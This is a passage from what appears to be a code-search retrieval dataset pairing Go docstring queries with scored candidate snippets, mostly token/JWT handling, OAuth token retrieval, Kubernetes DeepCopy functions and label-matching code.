"0.5126413", "text": "func (app *App) ValidateToken(w http.ResponseWriter, r *http.Request) {\n\n\t// Data to return\n\tvar tokenInfo TokenInfo\n\n\t// Get token from header\n\ttoken := GetTokenHeader(r)\n\tif token == \"\" {\n\t\tJSONResponse(w, 401, \"\")\n\t\treturn\n\t}\n\n\t// Verify valitity of token\n\t_, _, left, err := app.VerifyJWT(token)\n\tif err != nil {\n\t\tlog.Println(\"Invalid token verify\")\n\t\tJSONResponse(w, 401, \"\")\n\t\treturn\n\t}\n\n\t// Token valid, return time left\n\ttokenInfo.TimeLeft = left\n\ttokenInfo.Valid = true\n\tJSONResponse(w, 200, tokenInfo)\n\treturn\n}", "title": "" }, { "docid": "fd851017e732e74a77ba22183e8f9417", "score": "0.51206905", "text": "func GetToken(r *http.Request) (string, error) {\n\theader := r.Header.Get(\"Authorization\")\n\tif header == \"\" {\n\t\treturn \"\", ErrAuthHeaderMissing\n\t}\n\tif !strings.HasPrefix(header, tokenScheme) {\n\t\treturn \"\", ErrAuthBadScheme\n\t}\n\treturn header[len(tokenScheme):], nil\n}", "title": "" }, { "docid": "6e3ef1a80ea54d0fd4aaf6e32bb40ebc", "score": "0.51135", "text": "func GetRawIDToken(r *http.Request) (string, error) {\n\n\t//Retrieve JWT from Authorization header (or auth form parameter)\n\tbearerString := r.Header.Get(\"Authorization\")\n\tif len(bearerString) == 0 {\n\t\tformBearer := r.FormValue(\"auth\")\n\t\tif len(formBearer) > 0 {\n\t\t\tbearerString = \"Bearer \" + formBearer\n\t\t} else {\n\t\t\tcookie, err := r.Cookie(\"bearer-token\")\n\t\t\tif err == nil && cookie != nil && len(cookie.Value) > 0 {\n\t\t\t\tbearerString = \"Bearer \" + cookie.Value\n\t\t\t}\n\t\t}\n\t}\n\tif len(bearerString) < len(\"Bearer \") {\n\t\treturn \"\", ErrInvalidToken\n\t}\n\treturn bearerString[len(\"Bearer \"):], nil\n}", "title": "" }, { "docid": "0db24b7b10bed27545c6d210857296c8", "score": "0.5112908", "text": "func (s *mockOpenViDu) GetToken(\n\tparams map[string]interface{}) (map[string]interface{}, error) {\n\tif s.behavior == \"ok\" {\n\t\tparams[\"token\"] = \"test token\"\n\t\treturn params, nil\n\t}\n\treturn nil, errors.New(\"some error\")\n}", "title": "" }, { "docid": "3aa4325a04ec5dba785e930c3bc5518b", "score": "0.5107539", "text": "func RetrieveToken(ctx context.Context, email, password string) (string, error) {\n\tverifier, challenge, err := pkce()\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"pkce: %w\", err)\n\t}\n\n\tc := &oauth2.Config{\n\t\tClientID: \"ownerapi\",\n\t\tClientSecret: \"\",\n\t\tRedirectURL: \"https://auth.tesla.com/void/callback\",\n\t\tScopes: []string{\"openid email offline_access\"},\n\t\tEndpoint: oauth2.Endpoint{\n\t\t\tAuthURL: \"https://auth.tesla.com/oauth2/v3/authorize\",\n\t\t\tTokenURL: \"https://auth.tesla.com/oauth2/v3/token\",\n\t\t},\n\t}\n\n\thc := &http.Client{\n\t\tTransport: &Transport{RoundTripper: &http.Transport{\n\t\t\tProxy: http.ProxyFromEnvironment,\n\t\t\tDialContext: (&net.Dialer{\n\t\t\t\tTimeout: 30 * time.Second,\n\t\t\t\tKeepAlive: 30 * time.Second,\n\t\t\t}).DialContext,\n\t\t\tForceAttemptHTTP2: true,\n\t\t\tMaxIdleConns: 100,\n\t\t\tIdleConnTimeout: 90 * time.Second,\n\t\t\tResponseHeaderTimeout: 10 * time.Second,\n\t\t\tTLSHandshakeTimeout: 10 * time.Second,\n\t\t\tExpectContinueTimeout: 1 * time.Second,\n\t\t}},\n\t}\n\n\tcode, err := (&Auth{\n\t\tAuthURL: c.AuthCodeURL(state(), oauth2.AccessTypeOffline,\n\t\t\toauth2.SetAuthURLParam(\"code_challenge\", challenge),\n\t\t\toauth2.SetAuthURLParam(\"code_challenge_method\", \"S256\"),\n\t\t),\n\t\tSelectDevice: selectDevice,\n\t\tClient: hc,\n\t}).Do(ctx, email, password)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tctx = context.WithValue(ctx, oauth2.HTTPClient, hc)\n\n\tt, err := c.Exchange(ctx, code,\n\t\toauth2.SetAuthURLParam(\"code_verifier\", verifier),\n\t)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"exchange: %w\", err)\n\t}\n\n\te := json.NewEncoder(os.Stdout)\n\te.SetIndent(\"\", \"\\t\")\n\treturn t.AccessToken, nil\n}", "title": "" }, { "docid": "652a5d96dd3428ac96a810346c9005ae", "score": "0.5107442", "text": "func getToken(c *Client, credentials LoginCredentials) (Token, error) {\n tokenRes := new(TokenRes)\n err := callApi(POST, \"oauth/tokens\", credentials, c, false, tokenRes)\n if err != nil {\n return Token{}, err\n } else {\n token := tokenRes.Token\n token.ValidUntil = int64(token.ExpiresIn) + time.Now().Unix()\n return token, nil\n }\n}", "title": "" }, { "docid": "9eaeaa9068b85e7454828c6cdbbe7dda", "score": "0.5104775", "text": "func (keycloakExternalTokenServiceClient *KeycloakExternalTokenServiceClient) Get(ctx context.Context, accessToken string, keycloakExternalTokenURL string) (*KeycloakExternalTokenResponse, error) {\n\n\tlog.Info(ctx, map[string]interface{}{\n\t\t\"keycloak_external_token_url\": keycloakExternalTokenURL,\n\t}, \"fetching token..\")\n\n\tkeycloakExternalTokenResponse := KeycloakExternalTokenResponse{}\n\n\treq, err := http.NewRequest(\"GET\", keycloakExternalTokenURL, nil)\n\tif err != nil {\n\t\treturn nil, errors.NewInternalError(ctx, err)\n\t}\n\treq.Header.Add(\"Authorization\", \"Bearer \"+accessToken)\n\treq.Header.Add(\"Accept\", \"application/json, text/plain, */*\")\n\n\tresp, err := keycloakExternalTokenServiceClient.client.Do(req)\n\n\tif err != nil {\n\t\tlog.Error(ctx, map[string]interface{}{\n\t\t\t\"keycloak_external_token_url\": keycloakExternalTokenURL,\n\t\t\t\"err\": err,\n\t\t}, \"Unable to fetch external keycloak token\")\n\t\treturn nil, errors.NewInternalError(ctx, err)\n\t} else if resp != nil {\n\t\tdefer resp.Body.Close()\n\t}\n\tif resp.StatusCode != http.StatusOK {\n\t\tlog.Error(ctx, map[string]interface{}{\n\t\t\t\"response_status\": resp.Status,\n\t\t\t\"response_body\": rest.ReadBody(resp.Body),\n\t\t\t\"keycloak_external_token_url\": keycloakExternalTokenURL,\n\t\t}, \"Unable to fetch external keycloak token\")\n\t\tif resp.StatusCode == 400 {\n\t\t\treturn nil, errors.NewUnauthorizedError(rest.ReadBody(resp.Body))\n\t\t}\n\t\treturn nil, errors.NewInternalError(ctx, errs.Errorf(\"received a non-200 response %s while fetching keycloak external token %s\", resp.Status, keycloakExternalTokenURL))\n\t}\n\tif strings.Contains(keycloakExternalTokenURL, \"openshift-v3\") {\n\t\terr = json.NewDecoder(resp.Body).Decode(&keycloakExternalTokenResponse)\n\t} else {\n\n\t\t// The format for github response is\n\t\t// access_token=f75c6_token_ceea0&scope=admin%3Arepo_hook%2Cgist%2Cread%3Aorg%2Crepo%2Cuser&token_type=bearer\n\t\td := form.NewDecoder(resp.Body)\n\t\tif err := d.Decode(&keycloakExternalTokenResponse); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\treturn &keycloakExternalTokenResponse, err\n}", "title": "" }, { "docid": "b17056109d1950a244cb1bc4389c7038", "score": "0.51032", "text": "func validate(bearerToken string) (UserInfo, error) {\n\n\tsigningKey := config.GetSigningKey()\n\n\tauth := false\n\tvar claims JWTClaimsJSON // special struct for decoding the json\n\tu := UserInfo{ // user we'll return, initially in error state\n\t\tAPIVersion: \"authentication.k8s.io/v1beta1\",\n\t\tKind: \"TokenReview\",\n\t\tStatus: &Status{\n\t\t\tAuthenticated: &auth,\n\t\t\tUser: nil,\n\t\t},\n\t}\n\n\ttoken, err := jwt.ParseWithClaims(bearerToken, &claims, func(token *jwt.Token) (interface{}, error) {\n\t\tif !strings.HasPrefix(token.Method.Alg(), \"HS\") { // HMAC are the only allowed signing methods\n\t\t\tlog.Errorf(\"Unexpected signing method: %s\", token.Method.Alg())\n\t\t\treturn nil, fmt.Errorf(\"Unexpected signing method: %s\", token.Method.Alg())\n\t\t}\n\t\treturn []byte(signingKey), nil\n\t})\n\n\tif token == nil || !token.Valid {\n\t\tlog.Debugf(\"Token not valid: %v\", err)\n\t\treturn u, err\n\t}\n\n\t// Token is valid so fill in the rest of u with happy state and return it\n\tauth = true\n\tu.Status.Authenticated = &auth\n\tu.Status.User = &User{Username: claims.Username, UID: claims.UID, Groups: claims.Groups}\n\n\treturn u, nil\n}", "title": "" } ]
84e0bdb2e342bb434ab7faf19b145c6a
DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new LabelsMatchingRule.
[ { "docid": "a43bb56590a65a32d018a6acb904fde5", "score": "0.88268346", "text": "func (in *LabelsMatchingRule) DeepCopy() *LabelsMatchingRule {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(LabelsMatchingRule)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" } ]
[ { "docid": "0056d711490038f7e89542bc96809d0e", "score": "0.6208707", "text": "func (in Labels) DeepCopy() Labels {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(Labels)\n\tin.DeepCopyInto(out)\n\treturn *out\n}", "title": "" }, { "docid": "523ec52f7ff483725425afebdc007291", "score": "0.6198058", "text": "func (in *EndpointpolicyMetadataLabelMatcher) DeepCopy() *EndpointpolicyMetadataLabelMatcher {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(EndpointpolicyMetadataLabelMatcher)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "493f0d7f20c62f376005f83545ad3d16", "score": "0.6064002", "text": "func (in *ServiceLevelObjectiveLabels) DeepCopy() *ServiceLevelObjectiveLabels {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(ServiceLevelObjectiveLabels)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "0a51592e88a18ad7a5af80423d0fc124", "score": "0.58493996", "text": "func (in *EnvironmentSourceSelectorLabelMatcher) DeepCopy() *EnvironmentSourceSelectorLabelMatcher {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(EnvironmentSourceSelectorLabelMatcher)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "9de95dadc22653924174438ded45bde8", "score": "0.56009394", "text": "func (in *TLSMatchAttributes) DeepCopy() *TLSMatchAttributes {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(TLSMatchAttributes)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "8d7b002f91cb7aef4ab6d4b19e400e23", "score": "0.55970013", "text": "func (lt *LabelledTuple) MatchLabels(ls Labels) (mls *Labels, b bool) {\n\tb = lt != nil\n\n\tif b {\n\t\tltls := lt.Labels()\n\t\tmls, b = ltls.Intersect(&ls)\n\t}\n\n\treturn mls, b\n}", "title": "" }, { "docid": "0f0f9b79ee98350078065f55201234b5", "score": "0.5582504", "text": "func (in *TopologySelectorLabelRequirement) DeepCopy() *TopologySelectorLabelRequirement {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(TopologySelectorLabelRequirement)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "42249ba4b85268c0282e1052d6fa5bd0", "score": "0.5425532", "text": "func (in *PrometheusRule) DeepCopy() *PrometheusRule {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(PrometheusRule)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "2fa535b8a5e71b549c0d58eb479c88e2", "score": "0.5257975", "text": "func (in *TunedMatch) DeepCopy() *TunedMatch {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(TunedMatch)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "3b6bbbf5bec3650d7ac6c89e67695917", "score": "0.5224734", "text": "func (in *IssueLabel) DeepCopy() *IssueLabel {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(IssueLabel)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "9e1a7ce8221fe0478bf6ee15264fd78b", "score": "0.51633924", "text": "func (in *RuleMetadata) DeepCopy() *RuleMetadata {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(RuleMetadata)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "7cef6fc2d4bcebcead440f9b294d5949", "score": "0.5132084", "text": "func (g *DeviceGroup) MatchingLabels() client.MatchingLabels {\n\treturn client.MatchingLabels{DeviceGroupLabel: g.Name}\n}", "title": "" }, { "docid": "e7dbebc8a9d25f513539837853f35c9e", "score": "0.5130639", "text": "func MatchLabels(labels map[string]string, expr string) (bool, error) {\n\tif expr == \"\" {\n\t\treturn true, nil\n\t}\n\n\tp, err := predicate.NewParser(predicate.Def{\n\t\tOperators: predicate.Operators{\n\t\t\tAND: andLabelFunc,\n\t\t\tNOT: notLabelFunc,\n\t\t\tOR: orLabelFunc,\n\t\t},\n\t\tFunctions: map[string]interface{}{\n\t\t\t\"Label\": labelFn,\n\t\t\t\"LabelRegex\": labelRegexFn,\n\t\t\t\"MarathonConstraint\": marathonFn,\n\t\t},\n\t})\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\tparse, err := p.Parse(expr)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\tfn, ok := parse.(constraintLabelFunc)\n\tif !ok {\n\t\treturn false, errors.New(\"not a constraintLabelFunc\")\n\t}\n\treturn fn(labels), nil\n}", "title": "" }, { "docid": "dc2dfd81ee7df1b2c721da06c1afac75", "score": "0.512649", "text": "func (in *MatchConditionReadinessCheck) DeepCopy() *MatchConditionReadinessCheck {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(MatchConditionReadinessCheck)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "fe8ed6f42253e58aa8ffdba0121f601a", "score": "0.5103571", "text": "func (in *LoadbalancerSpecForwardingRule) DeepCopy() *LoadbalancerSpecForwardingRule {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(LoadbalancerSpecForwardingRule)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "66ec91fc1e324f344f1382aed476af6b", "score": "0.50924224", "text": "func (in *SensitiveLabels) DeepCopy() *SensitiveLabels {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(SensitiveLabels)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "f3991085c4995b373c6f5dee43ef7597", "score": "0.5028535", "text": "func (in *DNSResponsePolicyRule) DeepCopy() *DNSResponsePolicyRule {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(DNSResponsePolicyRule)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "245fc2b7dff67aa7ff72a9e350bd7b6f", "score": "0.5006249", "text": "func (in *L4MatchAttributes) DeepCopy() *L4MatchAttributes {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(L4MatchAttributes)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "245fc2b7dff67aa7ff72a9e350bd7b6f", "score": "0.5006249", "text": "func (in *L4MatchAttributes) DeepCopy() *L4MatchAttributes {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(L4MatchAttributes)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "087cb9e11c6e999db6a08ab028268b4e", "score": "0.49601412", "text": "func (l Label) Labels() map[string]string {\n\treturn l\n}", "title": "" }, { "docid": "087cb9e11c6e999db6a08ab028268b4e", "score": "0.49601412", "text": "func (l Label) Labels() map[string]string {\n\treturn l\n}", "title": "" }, { "docid": "4be0fe762b6f5d5ef41c94d60ffe5d7d", "score": "0.4951419", "text": "func (in *IPRule) DeepCopy() *IPRule {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(IPRule)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "4be0fe762b6f5d5ef41c94d60ffe5d7d", "score": "0.4951419", "text": "func (in *IPRule) DeepCopy() *IPRule {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(IPRule)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "039792fefc359fc9ae802e3a6d145750", "score": "0.49480245", "text": "func MatchLabel(key, value string) (labels.Selector, error) {\n\treq, err := labels.NewRequirement(key, selection.In, []string{value})\n\tif err != nil {\n\t\treturn nil, trace.Wrap(err, \"failed to build a requirement from %v=%q\", key, value)\n\t}\n\tselector := labels.NewSelector()\n\tselector = selector.Add(*req)\n\treturn selector, nil\n}", "title": "" }, { "docid": "6e1e03623b59ccda0538bfd0a429b828", "score": "0.4938117", "text": "func (in *MultiNetworkPolicyIngressRule) DeepCopy() *MultiNetworkPolicyIngressRule {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(MultiNetworkPolicyIngressRule)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "1a7775c34ca08c3e2325d9ba27bd83b3", "score": "0.49332646", "text": "func (l Label) Copy() Label {\n\tcopyLabel := make(Label)\n\tfor k, v := range l {\n\t\tcopyLabel[k] = v\n\t}\n\treturn copyLabel\n}", "title": "" }, { "docid": "6ecbc790e64e870a793e2cf0d738f140", "score": "0.48866943", "text": "func (r *Rule) WithLabels(labels labels.LabelArray) *Rule {\n\tr.Labels = labels\n\treturn r\n}", "title": "" }, { "docid": "e2bd9ebedfee92beea9194ccf2a19b51", "score": "0.48714682", "text": "func (in *LabelsMatchingRule) DeepCopyInto(out *LabelsMatchingRule) {\n\t*out = *in\n\tif in.Eq != nil {\n\t\tin, out := &in.Eq, &out.Eq\n\t\t*out = make(map[string]string, len(*in))\n\t\tfor key, val := range *in {\n\t\t\t(*out)[key] = val\n\t\t}\n\t}\n\tif in.Neq != nil {\n\t\tin, out := &in.Neq, &out.Neq\n\t\t*out = make(map[string]string, len(*in))\n\t\tfor key, val := range *in {\n\t\t\t(*out)[key] = val\n\t\t}\n\t}\n\tif in.Matches != nil {\n\t\tin, out := &in.Matches, &out.Matches\n\t\t*out = make(map[string]string, len(*in))\n\t\tfor key, val := range *in {\n\t\t\t(*out)[key] = val\n\t\t}\n\t}\n\tif in.NotMatches != nil {\n\t\tin, out := &in.NotMatches, &out.NotMatches\n\t\t*out = make(map[string]string, len(*in))\n\t\tfor key, val := range *in {\n\t\t\t(*out)[key] = val\n\t\t}\n\t}\n}", "title": "" }, { "docid": "4e27223578047edaec27e52364d443f0", "score": "0.4871086", "text": "func (l Labels) Copy() Labels {\n\tm := make(Labels)\n\tfor k, v := range l {\n\t\tm[k] = v\n\t}\n\treturn m\n}", "title": "" }, { "docid": "a4d9797b6dac7a5cb6f32fc5ee55feda", "score": "0.48470226", "text": "func (in *Rule) DeepCopy() *Rule {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(Rule)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "a4d9797b6dac7a5cb6f32fc5ee55feda", "score": "0.48470226", "text": "func (in *Rule) DeepCopy() *Rule {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(Rule)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "a4d9797b6dac7a5cb6f32fc5ee55feda", "score": "0.48470226", "text": "func (in *Rule) DeepCopy() *Rule {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(Rule)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "a4d9797b6dac7a5cb6f32fc5ee55feda", "score": "0.48470226", "text": "func (in *Rule) DeepCopy() *Rule {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(Rule)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "a4d9797b6dac7a5cb6f32fc5ee55feda", "score": "0.48470226", "text": "func (in *Rule) DeepCopy() *Rule {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(Rule)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "a4d9797b6dac7a5cb6f32fc5ee55feda", "score": "0.48470226", "text": "func (in *Rule) DeepCopy() *Rule {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(Rule)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "a4d9797b6dac7a5cb6f32fc5ee55feda", "score": "0.48470226", "text": "func (in *Rule) DeepCopy() *Rule {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(Rule)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "a4d9797b6dac7a5cb6f32fc5ee55feda", "score": "0.48470226", "text": "func (in *Rule) DeepCopy() *Rule {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(Rule)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "bc09edca0906bbe449ae14164de804cd", "score": "0.48324776", "text": "func (in *RecurrenceRule) DeepCopy() *RecurrenceRule {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(RecurrenceRule)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "12a20dda8511ae856d5f01d93b833a98", "score": "0.48217705", "text": "func New(enforcedNsLabel string, excludeConfig []monitoringv1.PrometheusRuleExcludeConfig, prometheusRuleLabeler bool) *Labeler {\n\n\tif enforcedNsLabel == \"\" {\n\t\treturn &Labeler{} // no-op labeler\n\t}\n\n\tif len(excludeConfig) == 0 {\n\t\treturn &Labeler{enforcedNsLabel: enforcedNsLabel}\n\t}\n\n\truleExcludeList := make(map[string]map[string]struct{})\n\n\tfor _, r := range excludeConfig {\n\t\tif r.RuleNamespace == \"\" || r.RuleName == \"\" {\n\t\t\tcontinue\n\t\t}\n\t\tif _, ok := ruleExcludeList[r.RuleNamespace]; !ok {\n\t\t\truleExcludeList[r.RuleNamespace] = make(map[string]struct{})\n\t\t}\n\t\truleExcludeList[r.RuleNamespace][r.RuleName] = struct{}{}\n\t}\n\n\treturn &Labeler{\n\t\texcludeList: ruleExcludeList,\n\t\tenforcedNsLabel: enforcedNsLabel,\n\t\tprometheusRuleLabeler: prometheusRuleLabeler,\n\t}\n}", "title": "" }, { "docid": "337ab6af42e6a764c04686dfeab648ef", "score": "0.48211807", "text": "func (in *InboundIpRule) DeepCopy() *InboundIpRule {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(InboundIpRule)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "ab4b62b04ccb1f7252dd47438fe7e530", "score": "0.4812077", "text": "func (in *PrometheusRuleList) DeepCopy() *PrometheusRuleList {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(PrometheusRuleList)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "9dc24bf97b6b57c187adda4af8795c63", "score": "0.47704774", "text": "func labelMatch(lbl1 api.Labels, lbl2 api.Labels) bool {\n\tfor label := range lbl2 {\n\t\tlbl1Values := lbl1[label]\n\t\tlbl2Values := lbl2[label]\n\n\t\tfor _, val2 := range lbl2Values {\n\t\t\tmatched := false\n\t\t\tfor _, val1 := range lbl1Values {\n\t\t\t\tif val1 == val2 {\n\t\t\t\t\tmatched = true\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif !matched {\n\t\t\t\treturn false\n\t\t\t}\n\t\t}\n\t}\n\treturn true\n}", "title": "" }, { "docid": "13413a0c96d0b73689742a3e5810a9e9", "score": "0.4755869", "text": "func (in *PrometheusRuleSpec) DeepCopy() *PrometheusRuleSpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(PrometheusRuleSpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "16f685ea086b82fab68229ef9085c200", "score": "0.47442606", "text": "func (in *V1RuleCounts) DeepCopy() *V1RuleCounts {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(V1RuleCounts)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "8ed5bf725193c70d82bafac61207cb4f", "score": "0.47281668", "text": "func (in *RoleImplicationRule) DeepCopy() *RoleImplicationRule {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(RoleImplicationRule)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "3d8338551e14bc474e98545b5ccea1fb", "score": "0.47059152", "text": "func (l Labels) Copy() Labels {\n\tc := make(Labels, len(l))\n\tfor k, v := range l {\n\t\tc[k] = v\n\t}\n\treturn c\n}", "title": "" }, { "docid": "99bf9fe78dcdd0af18a9966126401a44", "score": "0.4703748", "text": "func (in *IPRule_STATUS) DeepCopy() *IPRule_STATUS {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(IPRule_STATUS)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "99bf9fe78dcdd0af18a9966126401a44", "score": "0.4703748", "text": "func (in *IPRule_STATUS) DeepCopy() *IPRule_STATUS {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(IPRule_STATUS)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "1cdc01726c8425b97a1f0536d2547de2", "score": "0.46584317", "text": "func (in *EndpointpolicyMetadataLabels) DeepCopy() *EndpointpolicyMetadataLabels {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(EndpointpolicyMetadataLabels)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "7bd5729232f0605547e0d9ae79f037aa", "score": "0.46509016", "text": "func (o LookupNodeTemplateResultOutput) Labels() pulumi.MapOutput {\n\treturn o.ApplyT(func(v LookupNodeTemplateResult) map[string]interface{} { return v.Labels }).(pulumi.MapOutput)\n}", "title": "" }, { "docid": "db1ce222554b8338375a11533e5a89a4", "score": "0.46478295", "text": "func labelMatchFunc(args ...interface{}) (interface{}, error) {\n\tfmt.Println(args[0].(string))\n\tlbl1 := stringToLabels(args[0].(string))\n\tfmt.Println(labelsToString(lbl1))\n\tlbl2 := stringToLabels(args[1].(string))\n\tfmt.Println(lbl2)\n\n\treturn (bool)(labelMatch(lbl1, lbl2)), nil\n}", "title": "" }, { "docid": "89496a75ec69f1e25c934f8747662a3f", "score": "0.46363276", "text": "func (in *ModRule) DeepCopy() *ModRule {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(ModRule)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "b635b95ceb36851e33a517f72b46369c", "score": "0.46358752", "text": "func (in *MatchTransformPattern) DeepCopy() *MatchTransformPattern {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(MatchTransformPattern)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "026b7c051005cc5daa8b7ded8d8b19af", "score": "0.46215883", "text": "func Labels() {\n\tMatch('l')\n}", "title": "" }, { "docid": "5df2fae2073315c7845102f1234f1d48", "score": "0.4618721", "text": "func (in *StringMatch) DeepCopy() *StringMatch {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(StringMatch)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "5df2fae2073315c7845102f1234f1d48", "score": "0.4618721", "text": "func (in *StringMatch) DeepCopy() *StringMatch {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(StringMatch)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "b8fba420bd87066794093fe64e3fedfe", "score": "0.4616998", "text": "func NewLabel() *Label {\n\tthis := Label{}\n\treturn &this\n}", "title": "" }, { "docid": "8f4986bb26b122c8aa6a27f02c4c75b0", "score": "0.46167752", "text": "func (in *NotificationchannelSensitiveLabels) DeepCopy() *NotificationchannelSensitiveLabels {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(NotificationchannelSensitiveLabels)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "aea64dadb60dbf1c12126669c959381f", "score": "0.46143106", "text": "func (in *LiteralTestStep) DeepCopy() *LiteralTestStep {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(LiteralTestStep)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "b9faf29bbb82c066f9ea17be055bfd7d", "score": "0.46033642", "text": "func (in *FirewallRuleGroupMetadata) DeepCopy() *FirewallRuleGroupMetadata {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(FirewallRuleGroupMetadata)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "9cdd3161f926ee81114177ab7994c30f", "score": "0.45931593", "text": "func (in *PolicyRule) DeepCopy() *PolicyRule {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(PolicyRule)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "b9d5c2815f5c297f79136b1a9b8e3873", "score": "0.4593107", "text": "func (in *IngressRule) DeepCopy() *IngressRule {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(IngressRule)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "08b184aa26a14affdecc6006cf456db4", "score": "0.4592964", "text": "func (o WebAclRuleStatementManagedRuleGroupStatementScopeDownStatementAndStatementStatementAndStatementStatementOutput) LabelMatchStatement() 